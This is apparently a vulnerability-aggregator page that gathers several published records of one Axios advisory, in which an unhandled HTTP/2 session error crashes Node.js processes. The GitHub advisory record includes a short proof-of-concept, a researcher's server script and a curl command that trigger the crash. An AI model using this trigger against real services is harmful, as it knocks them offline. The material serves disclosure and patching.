Axios: Denial of Service via Unhandled 'error' Event in HTTP/2 ClientHttp2Session Initialization

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Axios is a promise-based HTTP client for the browser and Node.js. From 1.13.0 until 1.20.0, Http2Sessions does not install adequate error handling for a ClientHttp2Session during Axios HTTP/2 session initialization or reuse. A request uses httpVersion: 2 and the ClientHttp2Session emits an error during session initialization or reuse. The unhandled session error escapes normal Promise rejection handling. The uncaught error can terminate the Node.js process and cause denial of service. This issue is fixed in version 1.20.0.

Source published

28 Sep 2026 17:16:21 UTC

Source modified

1 Oct 2026 14:41:01 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 8.2 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Axios is a promise-based HTTP client for the browser and Node.js. From 1.13.0 until 1.20.0, Http2Sessions does not install adequate error handling for a ClientHttp2Session during Axios HTTP/2 session initialization or reuse. A request uses httpVersion: 2 and the ClientHttp2Session emits an error during session initialization or reuse. The unhandled session error escapes normal Promise rejection handling. The uncaught error can terminate the Node.js process and cause denial of service. This issue is fixed in version 1.20.0.

Source published

Sep 28, 2026, 5:16:21 PM (timezone not stated)

Source modified

Oct 1, 2026, 2:41:01 PM (timezone not stated)

Observed here

11 Nov 2026 05:28:11 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 8.2 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Axios is a promise-based HTTP client for the browser and Node.js. From 1.13.0 until 1.20.0, Http2Sessions does not install adequate error handling for a ClientHttp2Session during Axios HTTP/2 session initialization or reuse. A request uses httpVersion: 2 and the ClientHttp2Session emits an error during session initialization or reuse. The unhandled session error escapes normal Promise rejection handling. The uncaught error can terminate the Node.js process and cause denial of service. This issue is fixed in version 1.20.0.

Source published

28 Sep 2026 18:17:18 UTC

Source modified

1 Oct 2026 15:17:24 UTC

Observed here

25 Oct 2026 04:17:26 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 8.2 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

## Summary Axios versions with Node.js HTTP/2 support can terminate the caller’s process when a ClientHttp2Session emits an error event that is not handled by axios. This affects applications that use the Node HTTP adapter with httpVersion: 2. A malicious, unavailable, or non-HTTP/2 endpoint can cause an uncaught exception instead of a normal rejected axios request. ## Impact The impact is denial of service. In affected applications, an attacker who can influence the request destination, or operate the destination server, may be able to crash the Node.js process. This does not affect default HTTP/1.1 usage, browser XHR/fetch adapters, or applications that do not enable axios HTTP/2 support. ## Affected Functionality Affected path: - Node.js HTTP adapter - httpVersion: 2 - HTTP/2 session creation/reuse through Http2Sessions - Network/session failures emitted as ClientHttp2Session error events Caller-controlled http2Options can make the issue easier to trigger, but passing arbitrary attacker input into axios config is caller-controlled behavior and should not be the primary advisory framing. ## Technical Details Http2Sessions.getSession() creates a session with http2.connect(authority, options) but only registers a close handler. It does not register an error handler on the returned ClientHttp2Session. When the session emits error, Node treats it as an unhandled EventEmitter error and throws. This can bypass the normal axios Promise rejection path and terminate the process. ## Proof of Concept of Attack ```js import axios from './index.js'; await axios.get('http://127.0.0.1:1/', { httpVersion: 2, timeout: 1000 }); ``` Expected vulnerable behavior: the process exits with an uncaught ECONNREFUSED session error instead of only rejecting the axios request. ## Workarounds Disable axios HTTP/2 for untrusted or user-influenced destinations and use the default HTTP/1.1 adapter until a fixed release is available. Also avoid passing attacker-controlled values into http2Options; axios config is trusted application input. <details> <summary><h3>Original report</h3></summary> Hi, i'm RelunSec a security researcher working with **InsiteTech.jp** i want let you known, i finded a DoS in axios, to reproduce that, that is the example of a server ```js const http = require('http'); // Import the local axios version to ensure the patch is active const axios = require('../../lib/axios.js').default; const url = require('url'); // A public HTTP/2 server to make internal requests to. // This simulates an external service your application might interact with over HTTP/2. const TARGET_URL = 'https://nghttp2.org/'; const PORT = 3000; const server = http.createServer(async (req, res) => { const parsedUrl = url.parse(req.url, true); const http2optionId = parsedUrl.query.http2optionId; if (!http2optionId) { console.warn(`[SERVER] Rejected request: Missing http2optionId parameter`); res.writeHead(400, { 'Content-Type': 'text/plain' }); res.end('Error: Missing http2optionId query parameter. Usage: ?http2optionId=value\n'); return; } console.log(`[SERVER] Received request with http2optionId: ${http2optionId}`); // Create an Axios instance configured for HTTP/2 // The 'id' in http2Options makes each session configuration unique. const axiosInstance = axios.create({ baseURL: TARGET_URL, httpVersion: 2, http2Options: { // rejectUnauthorized: false, // Uncomment if targeting a local HTTP/2 server with self-signed cert id: http2optionId, // This is the attacker-controlled unique part }, // Adding a short timeout to prevent attacker from waiting too long if target is slow timeout: 5000 }); try { const response = await axiosInstance.get('/'); res.writeHead(200, { 'Content-Type': 'text/plain' }); res.end(`Internal HTTP/2 request successful for ID: ${http2optionId}\nStatus: ${response.status}`); } catch (error) { // Check for the specific error indicating session limit reached if (error.isAxiosError && error.code === axios.AxiosError.ERR_BAD_OPTION_VALUE) { console.error(`[SERVER] Internal HTTP/2 request failed for ID: ${http2optionId}: ${error.message}`); res.writeHead(500, { 'Content-Type': 'text/plain' }); res.end(`Internal HTTP/2 request failed for ID: ${http2optionId}: ${error.message}`); } else { console.error(`[SERVER] Internal HTTP/2 request failed for ID: ${http2optionId}:`, error.message); res.writeHead(500, { 'Content-Type': 'text/plain' }); res.end(`Internal HTTP/2 request failed for ID: ${http2optionId}: Generic error - ${error.message}`); } } }); server.listen(PORT, () => { console.log(`PoC Server listening on http://localhost:${PORT}`); console.log(`Targeting internal HTTP/2 requests to: ${TARGET_URL}`); console.log(`Send requests to http://localhost:${PORT}?http2optionId=...`); console.log(`Expected behavior with current patch: After ~100 unique http2optionIds, subsequent requests will receive ERR_BAD_OPTION_VALUE.`); }); ``` i tested all that in latest git version, after starting the server.cjs, to trigger that you just need do ```rust relunsec@relunsec:~/software/axios-1/poc/poc$ curl http://127.0.0.1:3000/?http2optionId=hi curl: (52) Empty reply from server ``` that is extremly simple to trigger it confirms a DoS in the HTTP/2 session cache, that needs be patched, the impact is will lead the server crashes and shutdown by an attacker, the server is written properly and no flaws in it and try catch blocks and errors handled however because that is an axios internal error will crash </details> ---

Source published

30 Sep 2026 15:01:07 UTC

Source modified

30 Sep 2026 15:15:04 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Publisher rating · HIGH